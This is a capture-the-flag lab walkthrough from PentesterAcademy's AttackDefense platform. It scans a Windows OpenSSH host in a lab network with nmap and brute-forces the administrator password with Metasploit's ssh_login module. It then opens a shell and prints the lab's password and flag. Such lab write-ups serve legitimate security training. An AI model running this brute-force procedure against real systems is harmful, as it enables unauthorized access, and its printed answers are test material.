
ATTACK
DEFENSE
by PentesterAcademy

Name	Windows: OpenSSH
URL	https://attackdefense.com/challengedetails?cid=2390
Type	Basic Exploitation: Pentesting

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking target IP address.

Note: The target IP address is stored in the “target” file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.30.191
root@attackdefense:~#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.30.191

```
root@attackdefense:~# nmap 10.0.30.191
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-08 16:15 IST
Nmap scan report for 10.0.30.191
Host is up (0.056s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 2.43 seconds
root@attackdefense:~#
```

Step 3: We have discovered that multiple ports are open. We will run Nmap again to determine version information on port 22.

Command: nmap -sV -p 22 10.0.30.191

```
root@attackdefense:~# nmap -sV -p 22 10.0.30.191
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-08 16:15 IST
Nmap scan report for 10.0.30.191
Host is up (0.054s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH for_Windows_7.7 (protocol 2.0)

Service detection performed. Please report any incorrect results
Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds
root@attackdefense:~#
```

We can notice that the target machine is exposed with Windows OpenSSH 7.7.

Step 4: Running Metasploit framework to find the valid password and gain the ssh shell.

The provided username is: administrator

Commands:
msfconsole -q
use auxiliary/scanner/ssh/ssh_login
set VERBOSE false
set USERNAME administrator
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set RHOSTS 10.0.30.191
run

```
root@attackdefense:~# msfconsole -q
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME administrator
USERNAME => administrator
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/
unix_passwords.txt
PASS_FILE => /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 10.0.30.191
RHOSTS => 10.0.30.191
msf6 auxiliary(scanner/ssh/ssh_login) > run

[+] 10.0.30.191:22 - Success: 'administrator:bubbles' 'Microsoft Windows Server 2019 Datacenter 10.0.
17763 N/A Build 17763'
[*] Command shell session 1 opened (10.10.15.2:32843 -> 10.0.30.191:22) at 2021-06-08 16:19:50 +0530
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) >
```

We have successfully gained the ssh shell and found the password of the administrator account.

Administrator User Password: bubbles

Step 5: Read the flag.

Commands:
sessions -i 1
cd Desktop
dir
type flag.txt

```
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows [Version 10.0.17763.1457]
(c) 2018 Microsoft Corporation. All rights reserved.

administrator@ATTACKDEFENSE C:\Users\Administrator>cd Desktop
cd Desktop

administrator@ATTACKDEFENSE C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 9E32-0E96

 Directory of C:\Users\Administrator\Desktop

06/05/2021  05:58 AM    <DIR>          .
06/05/2021  05:58 AM    <DIR>          ..
06/05/2021  05:58 AM                32 flag.txt
               1 File(s)             32 bytes
               2 Dir(s)  15,760,207,872 bytes free

administrator@ATTACKDEFENSE C:\Users\Administrator\Desktop>type flag.txt
type flag.txt
ad41b3d77a7a512f2382ee58eb53cb74
administrator@ATTACKDEFENSE C:\Users\Administrator\Desktop>
```

Flag: ad41b3d77a7a512f2382ee58eb53cb74

References

1. OpenSSH (https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse)
2. SSH Login Check Scanner (https://www.rapid7.com/db/modules/auxiliary/scanner/ssh/ssh_login/)